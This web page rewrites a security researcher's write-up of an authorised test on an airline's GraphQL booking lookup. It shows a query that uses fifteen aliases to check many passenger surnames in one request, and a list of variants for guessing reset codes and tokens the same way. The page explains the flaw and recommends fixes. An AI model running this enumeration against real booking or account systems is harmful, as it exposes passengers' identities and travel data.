Skip to content
Info disclosure Write-up Intermediate

The GraphQL Loophole Hiding in Airline Booking Systems

A GraphQL booking lookup returned a distinguishable response for a correct surname, and aliases allowed many surname candidates to be tested in a single HTTP request. An attacker could use this as an oracle to confirm a passenger's surname for a known booking reference.

lpaccella Follow

Published on medium.com

Cybersecurity

Luciano Paccella, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

Luciano Paccella, a lawyer specialising in personal data protection and a cybersecurity enthusiast with a particular interest in aviation, published this anonymised case study of an authorised security assessment against an airline booking API exposed through GraphQL. The feature under examination is a reservation lookup that takes two inputs: a booking reference associated with a Passenger Name Record (PNR), and the passenger's surname. When the combination is wrong the API returns an error; when the reference and surname match, the response is observably different.

The article is framed by the scale of the industry: according to the IATA Annual Safety Report 2025, airlines carried just under five billion passengers across 38.7 million flights in 2025, roughly 106,000 flights and 13.7 million passenger journeys every day. Behind that scale sit reservations, payments, check-ins, loyalty programmes, baggage services and passenger communications, processing identity information, contact details, itineraries and other sensitive data.

The airline, domain, endpoint, operation name, field names, booking reference, surnames and error responses in the article have all been replaced. The example is synthetic and exists only to explain the behaviour without identifying the affected organisation.

From the original on medium.com

Setup

The assessment was authorised. No accounts, roles, tool versions or specific preconditions are described beyond access to the GraphQL operation used to retrieve a booking. The researcher calibrated the behaviour using a known-valid reference-and-surname pair before interpreting the results of the candidate tests.

Finding it

The booking lookup accepts a booking reference and a surname. An incorrect combination produces an error; a correct one produces a response that is observably different. That difference turns an ordinary application response into a yes-or-no oracle: the API does not reveal the correct surname directly, but it confirms when a submitted candidate matches the booking reference.

The researcher's question was what happens when a booking workflow exposed through GraphQL counts HTTP requests but does not appear to limit how many logical checks can be placed inside each request. GraphQL aliases, a legitimate part of the language, allow the same schema field to be selected multiple times with different arguments inside a single operation. If a security control counts only network requests, it may see one request while the application processes many logical checks inside it.

Exploitation

Step 1: understand the ordinary lookup

A simplified representation of the original workflow looks like this:

GraphQL
query FindReservation(
  $reference: String!
  $surname: String!) {
  reservation(
    reference: $reference
    surname: $surname
  ) {
    result
    errorCode
    errorMessage
  }
}

Under the expected workflow, testing another surname would require sending another request with a different value. Aliases change that relationship.

Step 2: repeat the field selection with aliases

The researcher repeated the same field selection fifteen times. Every alias used the same fictitious booking reference but supplied a different surname:

GraphQL
query TestCandidates($reference: String!) {
  candidate01: reservation(reference: $reference, surname: "ALVAREZ") {
    errorCode
    errorMessage
  }
  candidate02: reservation(reference: $reference, surname: "BENNETT") {
    errorCode
    errorMessage
  }
  candidate03: reservation(reference: $reference, surname: "COSTA") {
    errorCode
    errorMessage
  }
  candidate04: reservation(reference: $reference, surname: "DUBOIS") {
    errorCode
    errorMessage
  }
  candidate05: reservation(reference: $reference, surname: "FERRARI") {
    errorCode
    errorMessage
  }
  candidate06: reservation(reference: $reference, surname: "GARCIA") {
    errorCode
    errorMessage
  }
  candidate07: reservation(reference: $reference, surname: "IVANOV") {
    errorCode
    errorMessage
  }
  candidate08: reservation(reference: $reference, surname: "KIM") {
    errorCode
    errorMessage
  }
  candidate09: reservation(reference: $reference, surname: "MARTIN") {
    errorCode
    errorMessage
  }
  candidate10: reservation(reference: $reference, surname: "NOVAK") {
    errorCode
    errorMessage
  }
  candidate11: reservation(reference: $reference, surname: "PARKER") {
    errorCode
    errorMessage
  }
  candidate12: reservation(reference: $reference, surname: "PETROV") {
    errorCode
    errorMessage
  }
  candidate13: reservation(reference: $reference, surname: "ROSSI") {
    errorCode
    errorMessage
  }
  candidate14: reservation(reference: $reference, surname: "SILVA") {
    errorCode
    errorMessage
  }
  candidate15: reservation(reference: $reference, surname: "WILSON") {
    errorCode
    errorMessage
  }
}

The operation used a completely fictitious reference:

JSON
{
  "reference": "ZX42QA"
}

All fifteen checks were transported in one GraphQL operation and one HTTP request.

Step 3: read the per-candidate results

The server returned a distinct result for every aliased field selection:

JSON
{
  "data": {
    "candidate01": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate02": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate03": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate04": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate05": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate06": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate07": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate08": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate09": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate10": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate11": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate12": {
      "errorCode": null,
      "errorMessage": null
    },
    "candidate13": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate14": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate15": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    }
  }
}

In this synthetic example, candidate12 is different: it contains neither an error code nor an error message. After calibrating the behaviour with a known-valid reference-and-surname pair, that difference could be interpreted as confirmation that PETROV matched the fictitious reference ZX42QA.

Step 4: rule out positional artefacts

The researcher repeated the controlled test after moving the known-valid candidate to different positions. The distinguishing response followed the candidate rather than its position in the document.

What the test established, and what it did not

The test established that:

  • one HTTP request could contain multiple aliased selections of the same sensitive field;
  • the server returned an individual result for every candidate;
  • the known-valid candidate produced a distinguishable response;
  • no alias-count or complexity rejection was observed at the tested maximum of 20 aliases.

However, the test did not establish that:

  • the server accepted an unlimited number of aliases;
  • every alias generated a separate database query;
  • a denial-of-service condition was possible.

The implementation could have used caching, DataLoader-style batching, deduplication or other internal optimisations. Without visibility into the backend, the response cannot prove how many database calls took place. What it does prove is narrower but still important: the application returned separately evaluated results for multiple candidates delivered through a single HTTP request.

The correct name

In Black Hat GraphQL: Attacking Next Generation APIs, Nick Aleks and Dolev Farhi distinguish between two batching patterns:

  • Array-based query batching, where the HTTP body contains an array of separate GraphQL operations.
  • Alias-based query batching, where multiple aliased field selections are included inside a single GraphQL operation.

The behaviour observed here belongs to the second category. The same underlying capability is discussed as alias overloading when the objective is resource exhaustion or denial of service. Because this assessment concerned multiple booking checks and response-based enumeration, not a denial-of-service test, alias-based query batching is the more precise term. The distinction is discussed in Black Hat GraphQL on pages 122 to 127 and 174 to 176.

Root cause

The mistake is a mismatch of measurement layers. The client can express work at one level of granularity, the individual field selection, while the security controls measure it at another, the HTTP request. A rate limiter operating only at the HTTP layer may count the entire document as one request, even though the application returns results for fifteen surname candidates. With a hypothetical limit of five HTTP requests per minute, five requests would normally represent five checks without batching, but with fifteen candidates per request they could represent 75 logical checks. This does not prove that a real rate limit was bypassed during the assessment; it demonstrates why request count alone may be an incomplete security metric for a flexible GraphQL API.

The response design compounds the problem. The API returned one outcome for an incorrect surname and another for a match, transforming a normal application response into a yes-or-no oracle. Uniform error messages also do not replace proper authorisation: a booking-management flow should not rely on knowledge of a booking reference and surname as its only meaningful security boundary.

Monitoring is affected in the same way. Traditional HTTP access logs will record one request. A GraphQL-aware gateway, application trace or resolver-level monitor may record the individual field evaluations, but only if that visibility has been implemented. Controls that inspect nothing beyond request volume may therefore miss the multiplicity inside the GraphQL document.

Impact

The demonstrated behaviour is that a single HTTP request can carry many surname candidates against one booking reference and return a distinguishable response for a match. The risk becomes more significant when a valid booking reference has already been exposed through another channel, for example a shared screenshot, discarded boarding document, compromised email account, previous data leak or another application weakness.

If a booking reference and surname are sufficient to enter a reservation-management workflow, discovering the correct combination could become a preliminary step toward accessing travel information. Depending on the application and its authorisation controls, the potentially exposed information could include:

  • passenger identity information;
  • itinerary and flight numbers;
  • airports and travel dates;
  • partially masked contact information;
  • booking status;
  • ancillary services associated with the journey.

These consequences should remain classified as potential unless they have been reproduced safely with researcher-controlled data. Resource amplification is possible in principle, since every additional aliased field must at least be parsed, validated and handled by the GraphQL execution layer, and expensive fields could increase CPU, memory, connection or downstream-service consumption. No denial-of-service testing was performed, so resource exhaustion is a general potential risk, not a demonstrated impact of this assessment.

Fix

The solution is not to disable GraphQL or remove aliases, which are a legitimate part of the language. The objective is to ensure that security controls measure the logical work inside an operation, not only the HTTP request carrying it. The GraphQL Foundation's security guidance and the OWASP GraphQL Cheat Sheet recommend several layers of demand control:

  1. Rate-limit logical attempts. Sensitive business operations should enforce throttling within the application or business-logic layer. For a booking lookup, the control should consider the number of lookup attempts, not merely the number of HTTP requests. Appropriate dimensions may include the session, account, client, booking reference and other risk signals. A request containing fifteen surname candidates consumes fifteen units of the applicable budget.
  2. Limit operation breadth and repeated sensitive fields. The server should cap the number of top-level fields, the number of aliases, the number of times a sensitive field may be repeated, and the number of operations permitted in a batch. These limits can be adapted to the cost and sensitivity of each field instead of applying one universal threshold.
  3. Apply query-complexity analysis. A complexity system assigns a cost to fields and calculates the total expected cost before execution, accounting for repeated aliased selections, field cost, nesting, list sizes and the potential volume of returned data. If the operation exceeds the allowed budget, the server should reject it before expensive work begins.
  4. Reduce response distinguishability. Invalid booking lookups should avoid revealing unnecessary differences through status codes, response structures, error messages or timing. Uniform responses make enumeration more difficult but are only defence in depth; strong authentication, authorisation and step-up verification remain necessary for access to sensitive booking information.
  5. Use trusted documents where appropriate. First-party clients can use reviewed, persisted documents combined with an allowlist, so the server executes only operations approved during development. Automatic Persisted Queries (APQ) should not be treated as a security boundary by themselves: if clients can freely register arbitrary documents, a malicious alias-heavy operation may simply be persisted and reused. The benefit comes from trusted operations, controlled registration and an enforced allowlist.
  6. Add general demand controls. Depth limits help reject deeply nested or recursive operations but do not solve this case by themselves, because the demonstrated query was wide but shallow. Pagination and record caps should be applied to fields that return lists, while timeouts and infrastructure-level resource limits provide additional resilience.

These controls work best as layers rather than isolated fixes. The article does not say whether any of them were implemented by the affected airline.

Variants to test

  • Alias-based batching on other sensitive lookups. Take any GraphQL field that validates a secret against an identifier (password reset codes, voucher codes, invitation tokens, order numbers plus postcode) and repeat it under many aliases in one operation. A positive result is a per-alias response in which one candidate differs from the rest, and the difference follows the candidate when its position is changed.
  • Array-based batching. Send the same repeated operation as an array of separate operations in one HTTP body. A positive result is the server executing every element of the array and returning an array of results, which again defeats request-counting limits.
  • Alias count ceiling. Increase the number of aliases gradually to find where, if anywhere, the server rejects the operation. A positive result is acceptance well beyond the number of checks a human could plausibly perform in one request, with no complexity or alias-count error.
  • Response distinguishability. Compare status codes, error codes, error messages, response structure and timing between a wrong candidate and a right one. A positive result is any stable, reproducible difference that survives repetition and reordering.
  • Persistence of alias-heavy documents. If APQ is enabled, register an alias-heavy document and replay it by hash. A positive result is the server executing the persisted document without re-applying whatever limits exist at registration time.
  • Depth versus breadth. Submit a wide but shallow alias-heavy query alongside a deep nested one. A positive result is rejection of the deep query while the wide one passes, showing that depth limits alone do not cover this pattern.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 20 min read.

What happened, in plain words

Imagine you have lost your luggage tag at an airport and you want to know whether a particular bag belongs to a certain passenger. You are not allowed to open the bag. You can only ask the desk clerk one question at a time: "Does this bag belong to Mr Alvarez?" The clerk says no. "Does it belong to Mr Bennett?" No. And so on. Each question is a separate trip to the desk, and the airport has a rule that you may only visit the desk five times a minute. Guessing a surname would take a very long time.

Now imagine you discover that the desk clerk will accept a single sheet of paper with fifteen questions written on it, and will answer each one separately on the same sheet. You still made one trip to the desk. The five-visits-a-minute rule counted one visit. But you got fifteen answers. That is, in essence, what this article describes, except the desk is a web API belonging to an airline, the questions are about a booking, and the sheet of paper is a single web request.

The author, Luciano Paccella, is a lawyer who specialises in personal data protection and also takes an interest in aviation security. During an authorised security assessment (a test the airline had given permission for), he looked at a GraphQL API used to look up a booking. The lookup takes two pieces of information: a booking reference (the short code on your ticket, linked to what the industry calls a Passenger Name Record, or PNR) and the passenger's surname. If the pair is wrong, the API returns an error. If the pair is right, the response looks different. That difference is the whole story: it lets someone confirm a surname by trial and error, and GraphQL's alias feature lets them try many surnames in a single request.

To set the scene, the article cites the IATA Annual Safety Report 2025: airlines carried just under five billion passengers across 38.7 million flights in 2025, roughly 106,000 flights and 13.7 million passenger journeys every day. Behind that scale sit reservations, payments, check-ins, loyalty programmes, baggage services and passenger communications, all handling identity information, contact details, itineraries and other sensitive data. That is why a small weakness in a booking lookup matters.

Every identifying detail in the article has been replaced: the airline, the domain, the endpoint, the operation name, the field names, the booking reference, the surnames and the error responses. The example is synthetic. It exists to explain the behaviour without pointing at the real organisation.

From the original on medium.com

The background you need first

Before the technical part makes sense, here are the ideas it relies on, explained from zero.

What an API is. An API (Application Programming Interface) is the way one piece of software asks another for something. When you open an airline's website and type a booking reference, your browser does not have the booking stored inside it. It sends a message to the airline's server saying, in effect, "give me the booking with this reference and this surname". The server replies with data. The API is the agreed set of messages the server will accept and the shape of the answers it gives. A useful comparison is a restaurant: the menu is the API, the kitchen is the server, and you never walk into the kitchen yourself.

What GraphQL is. GraphQL is one particular style of API. With a traditional REST API, different things live at different addresses (one address for a flight, another for a passenger, another for a booking). With GraphQL, there is usually a single address, and the client sends a query describing exactly which fields it wants. The server has a schema, which is a formal description of every type, field and operation it supports. When a query arrives, the server checks it against the schema, then runs small functions called resolvers that fetch the actual values from databases or other services. The article's own example asks only for a flight's status and gate:

GraphQL
query {  flight(id: "123") {    status    gate  }}

Line by line: query { opens a query. flight(id: "123") asks for the flight whose identifier is 123. Inside the braces that follow, status and gate say which two pieces of information about that flight are wanted. The closing braces end the request. The point is that the client names the fields it needs and nothing more.

What an alias is. An alias is a nickname you give a field in the response. If you ask for the same field twice, the server needs a way to tell the two answers apart, so you label them. The article's example asks for three flights in one operation:

GraphQL
query {  firstFlight: flight(id: "A123") {    status  }  secondFlight: flight(id: "B456") {    status  }  thirdFlight: flight(id: "C789") {    status  }}

Line by line: firstFlight: is the alias for the first result; flight(id: "A123") is the actual field being asked for, with a specific flight identifier; { status } says only the status is wanted. The next two lines do the same for two other flights, under the aliases secondFlight and thirdFlight. One operation goes out, three separately named results come back. This is a legitimate, useful feature, and the current GraphQL specification describes it exactly this way: an alias gives a field a distinct response name, so the same schema field can be selected with different arguments and returned under separate keys.

Why aliases matter for security. If a security control counts only network requests, it sees one request. The application, however, may be doing many separate pieces of work inside it. The article's opening line sums it up: at the HTTP layer it was one request; at the application layer it was fifteen surname checks.

What a rate limit is. A rate limit is a cap on how often something may be done in a period, for example five requests per minute. Websites use them to stop automated guessing, scraping and abuse. The question the article raises is what exactly is being counted.

What an oracle is. In security, an oracle is any behaviour that answers a yes-or-no question you are not supposed to be able to ask. It does not hand you the secret; it tells you when you have guessed it. A login form that says "wrong password" for a bad guess and shows the dashboard for a good one is an oracle. So is a booking lookup that answers differently for a wrong surname and a right one.

What enumeration is. Enumeration is guessing a value by trying candidates one after another and watching the answers. If each guess is cheap and the answer is clear, enumeration becomes practical.

Setting up the test

The assessment was authorised. The article does not describe accounts, roles, tool versions or specific preconditions beyond access to the GraphQL operation used to retrieve a booking. Before interpreting any results, the researcher calibrated the behaviour using a known-valid reference-and-surname pair. Calibration means establishing what a definite "yes" looks like, so that later differences can be recognised as meaningful rather than noise. It is the same instinct as checking that a smoke alarm goes off when you press its test button, before you trust it to warn you of a real fire.

Finding the weakness

The booking lookup accepts a booking reference and a surname. An incorrect combination produces an error; a correct one produces a response that is observably different. That difference turns an ordinary application response into a yes-or-no oracle: the API does not reveal the correct surname directly, but it confirms when a submitted candidate matches the booking reference.

The researcher's question was what happens when a booking workflow exposed through GraphQL counts HTTP requests but does not appear to limit how many logical checks can be placed inside each request. GraphQL aliases, a legitimate part of the language, allow the same schema field to be selected multiple times with different arguments inside a single operation. If a security control counts only network requests, it may see one request while the application processes many logical checks inside it.

Step by step

Step 1: understand the ordinary lookup

A simplified representation of the original workflow looks like this:

GraphQL
query FindReservation(
  $reference: String!
  $surname: String!) {
  reservation(
    reference: $reference
    surname: $surname
  ) {
    result
    errorCode
    errorMessage
  }
}

Line by line: query FindReservation( starts a named query called FindReservation, which makes it easier to identify in logs and tooling. $reference: String! declares an input variable called reference that must be text, and the exclamation mark means it is required and may not be left empty. $surname: String!) { declares a second required text variable, surname, and opens the body of the query. reservation( calls the field that looks up a booking. reference: $reference passes the booking reference variable into it, and surname: $surname passes the surname. The closing ) { opens the list of fields to return. result, errorCode and errorMessage are the three pieces of information requested back. The final two braces close the field selection and the query.

Under the expected workflow, testing another surname would require sending another request with a different value. One request, one guess. Aliases change that relationship.

Step 2: repeat the field selection with aliases

The researcher repeated the same field selection fifteen times. Every alias used the same fictitious booking reference but supplied a different surname:

GraphQL
query TestCandidates($reference: String!) {
  candidate01: reservation(reference: $reference, surname: "ALVAREZ") {
    errorCode
    errorMessage
  }
  candidate02: reservation(reference: $reference, surname: "BENNETT") {
    errorCode
    errorMessage
  }
  candidate03: reservation(reference: $reference, surname: "COSTA") {
    errorCode
    errorMessage
  }
  candidate04: reservation(reference: $reference, surname: "DUBOIS") {
    errorCode
    errorMessage
  }
  candidate05: reservation(reference: $reference, surname: "FERRARI") {
    errorCode
    errorMessage
  }
  candidate06: reservation(reference: $reference, surname: "GARCIA") {
    errorCode
    errorMessage
  }
  candidate07: reservation(reference: $reference, surname: "IVANOV") {
    errorCode
    errorMessage
  }
  candidate08: reservation(reference: $reference, surname: "KIM") {
    errorCode
    errorMessage
  }
  candidate09: reservation(reference: $reference, surname: "MARTIN") {
    errorCode
    errorMessage
  }
  candidate10: reservation(reference: $reference, surname: "NOVAK") {
    errorCode
    errorMessage
  }
  candidate11: reservation(reference: $reference, surname: "PARKER") {
    errorCode
    errorMessage
  }
  candidate12: reservation(reference: $reference, surname: "PETROV") {
    errorCode
    errorMessage
  }
  candidate13: reservation(reference: $reference, surname: "ROSSI") {
    errorCode
    errorMessage
  }
  candidate14: reservation(reference: $reference, surname: "SILVA") {
    errorCode
    errorMessage
  }
  candidate15: reservation(reference: $reference, surname: "WILSON") {
    errorCode
    errorMessage
  }
}

Line by line: query TestCandidates($reference: String!) { starts a query named TestCandidates that takes one required text variable, the booking reference. Each following block has the same shape. candidate01: is the alias, the nickname under which this answer will come back. reservation(reference: $reference, surname: "ALVAREZ") calls the booking lookup with the shared reference and the candidate surname ALVAREZ. { errorCode errorMessage } asks for the two fields that will reveal whether the lookup succeeded. The next fourteen blocks repeat the pattern with the aliases candidate02 through candidate15 and the surnames BENNETT, COSTA, DUBOIS, FERRARI, GARCIA, IVANOV, KIM, MARTIN, NOVAK, PARKER, PETROV, ROSSI, SILVA and WILSON. The final brace closes the query.

The operation used a completely fictitious reference:

JSON
{
  "reference": "ZX42QA"
}

Line by line: this is the value handed to the $reference variable. It is JSON, the text format used to carry structured data between programs. The braces open an object, "reference" is the variable's name in quotes, and "ZX42QA" is the fictitious booking reference. The closing brace ends the object. The reference is made up, so the example identifies no real booking.

All fifteen checks were transported in one GraphQL operation and one HTTP request. HTTP is the protocol browsers and servers use to exchange pages and data; a request is one message from client to server, and a response is the message back. Fifteen guesses, one message out.

Step 3: read the per-candidate results

The server returned a distinct result for every aliased field selection:

JSON
{
  "data": {
    "candidate01": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate02": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate03": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate04": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate05": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate06": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate07": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate08": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate09": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate10": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate11": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate12": {
      "errorCode": null,
      "errorMessage": null
    },
    "candidate13": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate14": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    },
    "candidate15": {
      "errorCode": "E104",
      "errorMessage": "Passenger data does not match."
    }
  }
}

Line by line: the outer { opens the response object and "data": { opens the section holding the answers. Each "candidateNN": { block is the answer for one alias, matching the nickname used in the query. Inside, "errorCode": "E104" is the error identifier and "errorMessage": "Passenger data does not match." is the human-readable explanation. Fourteen of the fifteen blocks look identical. The exception is candidate12, where "errorCode": null and "errorMessage": null mean there is no error at all. null is the standard way of saying "nothing here".

In this synthetic example, candidate12 is different: it contains neither an error code nor an error message. After calibrating the behaviour with a known-valid reference-and-surname pair, that difference could be interpreted as confirmation that PETROV matched the fictitious reference ZX42QA. In other words, the one candidate that came back clean is the one the server accepted.

Step 4: rule out positional artefacts

A positional artefact would be a difference caused by where a candidate sits in the list rather than by the candidate itself, for example if the twelfth slot always behaved oddly. To rule that out, the researcher repeated the controlled test after moving the known-valid candidate to different positions. The distinguishing response followed the candidate rather than its position in the document. That is the check that turns a curious observation into a reliable signal.

What the test established, and what it did not

The test established that:

  • one HTTP request could contain multiple aliased selections of the same sensitive field;
  • the server returned an individual result for every candidate;
  • the known-valid candidate produced a distinguishable response;
  • no alias-count or complexity rejection was observed at the tested maximum of 20 aliases.

However, the test did not establish that:

  • the server accepted an unlimited number of aliases;
  • every alias generated a separate database query;
  • a denial-of-service condition was possible.

A denial of service is an attack that makes a service unavailable, usually by exhausting its resources. The implementation could have used caching (keeping answers to avoid repeating work), DataLoader-style batching (a technique that groups many small data requests into one), deduplication (recognising repeated work and doing it once) or other internal optimisations. Without visibility into the backend, the response cannot prove how many database calls took place. What it does prove is narrower but still important: the application returned separately evaluated results for multiple candidates delivered through a single HTTP request.

The correct name

In Black Hat GraphQL: Attacking Next Generation APIs, Nick Aleks and Dolev Farhi distinguish between two batching patterns:

  • Array-based query batching, where the HTTP body contains an array of separate GraphQL operations.
  • Alias-based query batching, where multiple aliased field selections are included inside a single GraphQL operation.

The behaviour observed here belongs to the second category. The same underlying capability is discussed as alias overloading when the objective is resource exhaustion or denial of service. Because this assessment concerned multiple booking checks and response-based enumeration, not a denial-of-service test, alias-based query batching is the more precise term. The distinction is discussed in Black Hat GraphQL on pages 122 to 127 and 174 to 176.

Why it happens

The mistake is a mismatch of measurement layers. The client can express work at one level of granularity, the individual field selection, while the security controls measure it at another, the HTTP request. A rate limiter operating only at the HTTP layer may count the entire document as one request, even though the application returns results for fifteen surname candidates. With a hypothetical limit of five HTTP requests per minute, five requests would normally represent five checks without batching, but with fifteen candidates per request they could represent 75 logical checks. This does not prove that a real rate limit was bypassed during the assessment; it demonstrates why request count alone may be an incomplete security metric for a flexible GraphQL API.

The response design compounds the problem. The API returned one outcome for an incorrect surname and another for a match, transforming a normal application response into a yes-or-no oracle. Uniform error messages also do not replace proper authorisation: a booking-management flow should not rely on knowledge of a booking reference and surname as its only meaningful security boundary. Authorisation means deciding whether a person is allowed to do a thing, as opposed to authentication, which is proving who they are.

Monitoring is affected in the same way. Traditional HTTP access logs will record one request. A GraphQL-aware gateway, application trace or resolver-level monitor may record the individual field evaluations, but only if that visibility has been implemented. Controls that inspect nothing beyond request volume may therefore miss the multiplicity inside the GraphQL document.

What could go wrong

The demonstrated behaviour is that a single HTTP request can carry many surname candidates against one booking reference and return a distinguishable response for a match. The risk becomes more significant when a valid booking reference has already been exposed through another channel, for example a shared screenshot, discarded boarding document, compromised email account, previous data leak or another application weakness.

If a booking reference and surname are sufficient to enter a reservation-management workflow, discovering the correct combination could become a preliminary step toward accessing travel information. Depending on the application and its authorisation controls, the potentially exposed information could include:

  • passenger identity information;
  • itinerary and flight numbers;
  • airports and travel dates;
  • partially masked contact information;
  • booking status;
  • ancillary services associated with the journey.

These consequences should remain classified as potential unless they have been reproduced safely with researcher-controlled data. Resource amplification is possible in principle, since every additional aliased field must at least be parsed, validated and handled by the GraphQL execution layer, and expensive fields could increase CPU, memory, connection or downstream-service consumption. No denial-of-service testing was performed, so resource exhaustion is a general potential risk, not a demonstrated impact of this assessment.

How to fix it

The solution is not to disable GraphQL or remove aliases, which are a legitimate part of the language. The objective is to ensure that security controls measure the logical work inside an operation, not only the HTTP request carrying it. The GraphQL Foundation's security guidance and the OWASP GraphQL Cheat Sheet recommend several layers of demand control:

  1. Rate-limit logical attempts. Sensitive business operations should enforce throttling within the application or business-logic layer. For a booking lookup, the control should consider the number of lookup attempts, not merely the number of HTTP requests. Appropriate dimensions may include the session, account, client, booking reference and other risk signals. A request containing fifteen surname candidates consumes fifteen units of the applicable budget.
  2. Limit operation breadth and repeated sensitive fields. The server should cap the number of top-level fields, the number of aliases, the number of times a sensitive field may be repeated, and the number of operations permitted in a batch. These limits can be adapted to the cost and sensitivity of each field instead of applying one universal threshold.
  3. Apply query-complexity analysis. A complexity system assigns a cost to fields and calculates the total expected cost before execution, accounting for repeated aliased selections, field cost, nesting, list sizes and the potential volume of returned data. If the operation exceeds the allowed budget, the server should reject it before expensive work begins.
  4. Reduce response distinguishability. Invalid booking lookups should avoid revealing unnecessary differences through status codes, response structures, error messages or timing. Uniform responses make enumeration more difficult but are only defence in depth; strong authentication, authorisation and step-up verification remain necessary for access to sensitive booking information. Defence in depth means layering several independent protections so that one failing does not open the door.
  5. Use trusted documents where appropriate. First-party clients can use reviewed, persisted documents combined with an allowlist, so the server executes only operations approved during development. Automatic Persisted Queries (APQ) should not be treated as a security boundary by themselves: if clients can freely register arbitrary documents, a malicious alias-heavy operation may simply be persisted and reused. The benefit comes from trusted operations, controlled registration and an enforced allowlist.
  6. Add general demand controls. Depth limits help reject deeply nested or recursive operations but do not solve this case by themselves, because the demonstrated query was wide but shallow. Pagination and record caps should be applied to fields that return lists, while timeouts and infrastructure-level resource limits provide additional resilience.

These controls work best as layers rather than isolated fixes. The article does not say whether any of them were implemented by the affected airline.

Other places to look

  • Alias-based batching on other sensitive lookups. Take any GraphQL field that validates a secret against an identifier (password reset codes, voucher codes, invitation tokens, order numbers plus postcode) and repeat it under many aliases in one operation. A positive result is a per-alias response in which one candidate differs from the rest, and the difference follows the candidate when its position is changed.
  • Array-based batching. Send the same repeated operation as an array of separate operations in one HTTP body. A positive result is the server executing every element of the array and returning an array of results, which again defeats request-counting limits.
  • Alias count ceiling. Increase the number of aliases gradually to find where, if anywhere, the server rejects the operation. A positive result is acceptance well beyond the number of checks a human could plausibly perform in one request, with no complexity or alias-count error.
  • Response distinguishability. Compare status codes, error codes, error messages, response structure and timing between a wrong candidate and a right one. A positive result is any stable, reproducible difference that survives repetition and reordering.
  • Persistence of alias-heavy documents. If APQ is enabled, register an alias-heavy document and replay it by hash. A positive result is the server executing the persisted document without re-applying whatever limits exist at registration time.
  • Depth versus breadth. Submit a wide but shallow alias-heavy query alongside a deep nested one. A positive result is rejection of the deep query while the wide one passes, showing that depth limits alone do not cover this pattern.

Glossary

  • API: the agreed set of messages one piece of software uses to ask another for data or actions.
  • Alias: a nickname given to a field in a GraphQL query so its answer can be told apart from others.
  • Alias-based query batching: putting many aliased selections of the same field into one GraphQL operation.
  • Alias overloading: the same capability used to exhaust resources or cause denial of service.
  • Allowlist: a list of things explicitly permitted, with everything else refused.
  • APQ (Automatic Persisted Queries): a scheme where a client registers a query once and later refers to it by a short hash instead of resending it.
  • Array-based query batching: sending several separate GraphQL operations as an array in one HTTP body.
  • Authentication: proving who you are.
  • Authorisation: deciding whether you are allowed to do something.
  • Authorised security assessment: a test of a system carried out with the owner's permission.
  • Caching: storing answers so the same work is not repeated.
  • Calibration: establishing what a known-good result looks like before judging other results.
  • Complexity analysis: estimating the cost of a query before running it and rejecting it if it exceeds a budget.
  • DataLoader-style batching: grouping many small data requests into one to reduce load.
  • Deduplication: recognising repeated work and doing it only once.
  • Defence in depth: layering several independent protections so one failure does not open the door.
  • Denial of service: making a service unavailable, usually by exhausting its resources.
  • Depth limit: a cap on how deeply nested a query may be.
  • Enumeration: guessing a value by trying candidates and watching the answers.
  • GraphQL: a query language and execution model for APIs in which the client names exactly the fields it wants.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • HTTP request: one message sent from a client to a server.
  • IATA: the International Air Transport Association, an industry body for airlines.
  • JSON: a text format for structured data, used to carry values between programs.
  • Logical check: one piece of actual work inside a request, such as validating one surname.
  • Null: a value meaning "nothing here".
  • Oracle: any behaviour that answers a yes-or-no question you are not supposed to be able to ask.
  • OWASP: a community organisation that publishes widely used application security guidance.
  • Pagination: returning long lists in pages rather than all at once.
  • PNR (Passenger Name Record): the airline industry record holding a passenger's booking details, identified by a booking reference.
  • Query: the text a client sends to a GraphQL server describing what it wants.
  • Rate limit: a cap on how often something may be done in a period.
  • Resolver: the function in a GraphQL server that fetches the value for a field.
  • REST: a style of API where different resources live at different addresses.
  • Schema: the formal description of the types, fields and operations a GraphQL server supports.
  • Step-up verification: asking for an extra proof of identity before a sensitive action.
  • Throttling: deliberately slowing or limiting repeated actions.
  • Trusted documents: queries reviewed and approved in advance, so only those may be run.
  • Variable: a named input value passed into a GraphQL query, such as the booking reference.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.